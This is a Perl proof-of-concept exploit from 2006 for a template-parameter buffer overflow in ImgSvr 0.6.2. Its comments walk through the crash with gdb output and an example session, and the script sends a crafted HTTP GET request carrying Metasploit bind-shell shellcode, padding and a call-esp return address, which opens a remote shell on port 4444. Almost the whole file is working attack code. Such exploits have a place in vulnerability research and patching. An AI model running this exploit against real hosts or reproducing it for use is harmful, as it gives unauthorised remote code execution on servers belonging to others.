#!/usr/bin/perl
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# * Neither the name of the Nth Dimension nor the names of its contributors may
# be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# (c) Tim Brown, 2006
# <mailto:timb@nth-dimension.org.uk>
# <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>
#
# PoC exploit for ImgSvr 0.6.2 template parameter overflow.
#
# This exploit causes a segmentation fault in the internal ADA function
# system__file_io__open:
#	Program received signal SIGSEGV, Segmentation fault.
#	[Switching to Thread -1210700880 (LWP 6904)]
#	0x08283e98 in system__file_io__open ()
#
# The signal handler then restores registers from a backup on the stack.
# These backups have been overwritten by our overflow and $eip is restored
# to point at 0x0822e5ce:
#	(gdb) x/1i $eip
#	0x822e5ce <aws__smtp__client__output_mime_header+166>:  call   *%esp
#
# At the location pointed to by $esp we put make a relative jump -4863
# which takes us to our shellcode:
#	(gdb) x/1i $esp
#	0xb7cdba64:     jmp    0xb7cda766
#	(gdb) x/25s 0xb7cda766
#	0xb7caf764:      ")["c9"]["83"]["e9"]["eb"]["d9"]["ee"]["d9"]t$["f4"]
#	[["81"]s["13"]2["a5"]["b3"]["c1"]["83"]["eb"]["fc"]["e2"]["f4"]["03"]
#	~["e0"]["82"]a["cf"]["b1"]["ab"]T["fd"]*H["d3"]h3Wq["f7"]["d5"]["a9"]
#	["f9"]["d5"]["92"]["bb"]D["d9"]["a7"]j["f5"]["e2"]["97"]["bb"]D~A["82"]
#	["c3"]b""["ff"]%["e1"]["93"]d["e6"]:["82"]["c3"]~A["a1"]["cf"]["b1"]
#	["98"]["82"]["9a"]~A{["dc"]Jq9["f7"]["db"]["ee"]["1d"]["d6"]["db"]["a9"]
#	["1d"]["c7"]["da"]["af"]["bb"]F["e1"]["92"]["bb"]D~",
#	'A' <repeats 91 times>...
#	0xb7caf82c:      'A' <repeats 200 times>...
#	0xb7caf8f4:      'A' <repeats 200 times>...
#	0xb7caf9bc:      'A' <repeats 200 times>...
#	0xb7cafa84:      'A' <repeats 200 times>...
#	0xb7cafb4c:      'A' <repeats 200 times>...
#	0xb7cafc14:      'A' <repeats 200 times>...
#	0xb7cafcdc:      'A' <repeats 200 times>...
#	0xb7cafda4:      'A' <repeats 200 times>...
#	0xb7cafe6c:      'A' <repeats 200 times>...
#	0xb7caff34:      'A' <repeats 200 times>...
#	0xb7cafffc:      'A' <repeats 200 times>...
#	0xb7cb00c4:      'A' <repeats 200 times>...
#	0xb7cb018c:      'A' <repeats 200 times>...
#	0xb7cb0254:      'A' <repeats 200 times>...
#	0xb7cb031c:      'A' <repeats 200 times>...
#	0xb7cb03e4:      'A' <repeats 200 times>...
#	0xb7cb04ac:      'A' <repeats 200 times>...
#	0xb7cb0574:      'A' <repeats 200 times>...
#	0xb7cb063c:      'A' <repeats 200 times>...
#	0xb7cb0704:      'A' <repeats 200 times>...
#	0xb7cb07cc:      'A' <repeats 200 times>...
#	0xb7cb0894:      'A' <repeats 200 times>...
#	0xb7cb095c:      'A' <repeats 200 times>...
#	0xb7cb0a24:      'A' <repeats 60 times>, "["d0"]["e5"]""["08"]["e9"]
#	["fd"]["ec"]["ff"]["ff"]", 'B' <repeats 31 times>, "["ce"]["e5"]""
#	["08"]d["0a"]["cb"]["b7"]&["13"]["00"]"
#
# We use the technique of calling $esp to bypass randomised stack protection.
# Note that the shellcode must be <= 4862 bytes in length to avoid trampling
# on the jump back code.
#
# Many thanks to the Metasploit Project for the shellcode, for reference we
# use linux_ia32_bind v1638 by skape <mailto:miller@hick.org> and vlad902
# <mailto:vlad902@gmail.com> with the restricted character set 0x00 0x5c.
# Thanks also to mu-b <mailto:mu-b@digit-labs.org> for help with the reversing.
#
# For example:
#	user@localhost:~$ ./tmb-vs-imgsvr-template.pl 127.0.0.1 1234
#	Exploit for imgsvr 0.6.2 template parameter overflow.
#	Constructing request...
#	Opening connection...
#	Making request...
#	Closing connection...
#	Shell listening, try to connect to 127.0.0.1:4444.
#	user@localhost:~$ nc6 127.0.0.1 4444
#	nc6: using stream socket
#	id
#	uid=1000(user) gid=1000(user) groups=20(dialout),24(cdrom),25(floppy),
#	29(audio),40(src),44(video),46(plugdev),50(staff),1000(user)
#	whoami
#	user
#	exit

use strict;
use IO::Socket::INET;

my $hostname;
my $portnumber;
my $shellcode;
my $jumpbackcode;
my $callespcode;
my $requeststring;
my $sockethandle;

if (@ARGV != 2) {
	die "usage: " . $0 . " <hostname> <portnumber>";
}
$hostname = shift;
$portnumber = shift;
if ($hostname =~ /([A-z0-9-.]+)/) {
	$hostname = $1;
} else  {
	die "usage: " . $0 . " <hostname> <portnumber>";
}
if ($portnumber =~ /([0-9]+)/) {
	$portnumber = $1;
} else  {
	die "usage: " . $0 . " <hostname> <portnumber>";
}
print "PoC exploit for imgsvr 0.6.2 template parameter overflow.\r\n";
print "(c) Tim Brown, 2006\r\n";
print "<mailto:timb\@nth-dimension.org.uk>\r\n";
print "<http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>\r\n";
print "Constructing request...\r\n";
$shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x32\xa5\xb3\xc1\x83\xeb\xfc\xe2\xf4\x03\x7e\xe0\x82\x61\xcf\xb1\xab\x54\xfd\x2a\x48\xd3\x68\x33\x57\x71\xf7\xd5\xa9\x23\xf9\xd5\x92\xbb\x44\xd9\xa7\x6a\xf5\xe2\x97\xbb\x44\x7e\x41\x82\xc3\x62\x22\xff\x25\xe1\x93\x64\xe6\x3a\x20\x82\xc3\x7e\x41\xa1\xcf\xb1\x98\x82\x9a\x7e\x41\x7b\xdc\x4a\x71\x39\xf7\xdb\xee\x1d\xd6\xdb\xa9\x1d\xc7\xda\xaf\xbb\x46\xe1\x92\xbb\x44\x7e\x41";
$jumpbackcode = "\xe9\xfd\xec\xff\xff";
$callespcode = "\xce\xe5\x22\x08";
$requeststring = "GET /?template=" . $shellcode . "A"x(4862 - length($shellcode)) . $jumpbackcode . "B"x31 . $callespcode . " HTTP/1.0\r\n\r\n";
print "Opening connection...\r\n";
$sockethandle = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $portnumber, Proto => "tcp", Type => SOCK_STREAM, Blocking => 0);
print "Making request...\r\n";
syswrite($sockethandle, $requeststring);
print "Closing connection...\r\n";
$sockethandle->close();
print "Shell listening, try to connect to " . $hostname . ":4444.\r\n";
exit(0);
